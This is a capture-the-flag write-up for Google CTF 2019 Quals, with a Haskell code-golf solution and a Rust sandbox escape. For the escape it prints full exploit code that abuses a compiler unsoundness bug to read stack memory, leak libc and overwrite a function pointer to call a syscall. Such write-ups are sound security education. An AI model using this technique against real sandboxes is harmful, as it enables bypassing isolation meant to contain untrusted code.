[Google CTF 2019 Quals] Code Golf, Sandstone

Code Golf

Code Golf is a problem about writing a short Haskell code. We have to write a function g, which takes a list of strings as an argument and returns a single string. The given strings have a few holes in them, such as "ha m" and "ck m". Function g needs to find offsets for each strings, overlay them, and return it.

The rules for the correct answer are as follows:

  1. The correct offset will never cause two characters to occupy the same column.
  2. The correct offset will minimize the length of the final text after trimming leading and trailing spaces.
  3. If there are multiple possible decryptions that follow the above rules, the lexicographically first one is correct.
  4. The length of the answer code should not exceed 181 bytes.

According to the rules, the answer for ["ha m", "ck m"] is "hackme".

This is our 176 bytes solution for the problem.

' '?y=y
x?' '=x
_?_='~'
(x:c)??(y:d)=x?y:c??d
x??y=x++y
""#[]=[(0,"")]
x#y=[(c+1,a:d)|a:b<-[x],a/='~',(c,d)<-b#y]++[c|a:b<-[y],c<-x??a#b]
g a=snd$minimum$(#)""=<<permutations a

We defined four functions, ?, ??, #, and g.

? is a character overlay function. If one of them is a blank character, it will return the other character. Otherwise, it will return ~. Here, tilde has no special meaning and is used as a placeholder.

?? is a string overlay function. It compares the characters in two strings one by one and overlay them with function ?. If one of them is shorter then the other one, it will concat the rest of the string to the result.

# defines the main algorithm. It takes two arguments a and b. a is the remaining suffix and b is the list of remaining strings. Its return value is the list of all possible non-overlapping overlay result as a pair, whose first value is the length of a string and the second value is the string. We utilized Haskell list comprehension to perform pattern matching and condition check at once.

Finally, function g plugs in all possible permutations of the input strings to #, finds the shortest and lexicographically first answer, and return it.

Sandstone

Sandstone is a problem about writing a Rust code that invokes syscall(0x1337) in a sandboxed environment. Usually, the main goal of this kind of problems is finding a vulnerability in the sandbox logic, but this problem is not about that. Rust is a memory-safe language by default. It allows an additional unsafe operations, such as calling foreign functions or dereferencing a raw pointer, only in an unsafe {} block, which is prohibited in this problem.

We first observed that the problem turns on an optional feature called nll in nightly Rust, which stands for Non Lexical Lifetime (it is a Rust specific term, and it doesn’t matter if you don’t know what it means). We thought there must be a unsoundness hole in this feature, which will allow us to write syscall(0x1337) in safe Rust. Therefore, we searched for issues with NLL-sound tag in the Rust repository. The description for the tag is Working towards the "invalid code does not compile" goal which seems like a perfect match for our situation. However, we didn’t find anything that looks easily applicable to this problem.

Then, we changed our target to I-unsound 💥 tag and found the issue Coherence can be bypassed by an indirect impl for a trait object #57893. There was a comment which includes a std::mem::transmute implementation in Safe Rust, which allows unrestricted conversion between any Rust types.

The transmute() implementation allowed us to search through the stack memory for a libc pointer. After that, we calculated the address of the syscall funcion from the leaked pointer. Finally, we overwrote a safe function pointer with syscall address and called it with an argument 0x1337.

This is our main exploit code:

const PTR_SIZE: usize = std::mem::size_of::<usize>();
​
fn read_val(addr: usize) -> usize {
    *transmute::<*mut usize, &mut usize>(addr as *mut usize)
}
​
fn find_index(base_ptr: usize) -> usize {
    let pattern = [0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1];
    let mut start_index = 0;
    loop {
        let start_ptr = base_ptr + PTR_SIZE * start_index;
        if (0..pattern.len()).into_iter().all(|index| {
            let val = read_val(start_ptr + PTR_SIZE * index);
            if pattern[index] == 0 {
                val == 0
            } else {
                val > 0
            }
        }) {
            let target_index = start_index + 11;
            let target_ptr = base_ptr + PTR_SIZE * target_index;
            println!("{:03} 0x{:016x} - {:016x}", target_index, target_ptr, read_val(target_ptr));
            return target_index;
        }
        start_index += 1;
    }
}
​
fn fake_syscall(arg: usize) {
}
​
fn update(ptr: &mut fn(usize), val: usize) {
    let ptr_ref = transmute::<_, &mut usize>(ptr);
    *ptr_ref = val;
}
​
fn poc() {
    let stack = 0xabcdef0123456789usize;
    let mut ptr = (&stack as *const usize) as usize;
    println!("Current stack pointer: 0x{:016x}", ptr);
​
    let count = 200;
​
    ptr -= PTR_SIZE * count;
    let base_ptr = ptr;
​
    for i in 0..count {
        println!("{:03} 0x{:016x} - {:016x}", i, ptr, read_val(ptr));
        ptr += PTR_SIZE;
    }
​
    let lib_target_index = find_index(base_ptr);
    let lib_base = read_val(base_ptr + PTR_SIZE * lib_target_index) - 0x151e0;
    println!("lib{} base addr: 0x{:016x}", 'c', lib_base);
​
    let syscall_addr = lib_base + 0x1172d0;
    println!("lib{} syscall addr: 0x{:016x}", 'c', syscall_addr);
​
    let mut syscall_ptr: fn(usize) = fake_syscall;
    update(&mut syscall_ptr, syscall_addr);
    syscall_ptr(0x1337);
​
    println!("Please give me the flag");
    loop {
    }
}

According to the flag, the intended solution was to use Pattern guard can consume value that is being matched #31287.

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